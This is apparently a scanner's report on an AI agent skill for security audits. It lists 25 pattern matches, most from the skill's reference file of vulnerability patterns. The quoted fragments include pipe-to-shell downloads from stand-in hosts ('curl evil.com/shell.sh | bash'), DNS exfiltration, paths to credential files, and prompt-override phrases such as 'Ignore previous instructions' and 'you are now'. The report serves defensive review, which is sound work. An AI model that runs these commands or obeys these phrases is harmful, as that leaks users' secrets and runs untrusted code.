Caveat verdict
security-analysis
skill-security-audit
This skill provides a comprehensive security audit framework with read-only operations, explicitly prohibits file modification without user confirmation, and educates about prompt injection red flags rather than performing any of them.
⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.
Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.
Findings (25)
Prompt injection — tries to override agent instructions
references/vulnerability-patterns.md · code · Ignore previous instructions
Accesses sensitive system files
references/vulnerability-patterns.md · code · /etc/passwd
Unicode homoglyph detected — uses lookalike characters to evade pattern matching
references/prompt-injection-patterns.md · code
Raw model control tokens — prompt injection via token manipulation
references/vulnerability-patterns.md · code · [INST]
Pipe-to-shell pattern (curl | sh) — supply chain attack vector
references/vulnerability-patterns.md · code · curl evil.com/shell.sh | bash
Pipe to bash — executes piped content as shell commands
references/vulnerability-patterns.md · code · | bash
Pipe-to-shell pattern (wget | sh)
references/vulnerability-patterns.md · code · wget -O- https://attacker.com/install.sh | sh
Pipe to sh — executes piped content as shell commands
references/vulnerability-patterns.md · code · | sh
Bash /dev/tcp — raw TCP connection via shell
references/vulnerability-patterns.md · code · /dev/tcp/
Accesses AWS credentials file
references/vulnerability-patterns.md · code · ~/.aws/credentials
Accesses Google Cloud credentials
references/vulnerability-patterns.md · code · ~/.config/gcloud
Accesses Azure credentials directory
references/vulnerability-patterns.md · code · ~/.azure
Possible prompt injection — attempts to redefine agent identity
references/vulnerability-patterns.md · code · you are now
Accesses .ssh directory
references/vulnerability-patterns.md · code · .ssh/
os.system/popen — direct OS command execution
references/vulnerability-patterns.md · code · os.system(
Uses eval() — can execute arbitrary code
SKILL.md · prose · downgraded · eval(
Uses exec() — may execute shell commands
references/vulnerability-patterns.md · code · exec(
subprocess execution — runs system commands from Python
references/vulnerability-patterns.md · code · subprocess.call(
DNS exfiltration — embeds data in DNS queries
references/vulnerability-patterns.md · code · nslookup $(
Accesses system credential store
references/vulnerability-patterns.md · code · Keychain
Accesses cloud provider credentials
references/vulnerability-patterns.md · code · ~/.aws
Accesses Kubernetes config (may contain cluster credentials)
references/vulnerability-patterns.md · code · ~/.kube/config
HTTP request to bare IP address — common in malicious payloads
references/vulnerability-patterns.md · code · http://169.254.169.254
apt-get install — installs system packages
references/vulnerability-patterns.md · code · apt-get install
Python urllib.request — network access
references/vulnerability-patterns.md · code · urllib.request
Why the tier is capped
Execution sink present in raw bytes (Hard Floor: class A/C/D/E/F). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.
Permissions & capabilities
No declared permissions — minimal attack surface.
Is this flag fair?
Thanks — recorded.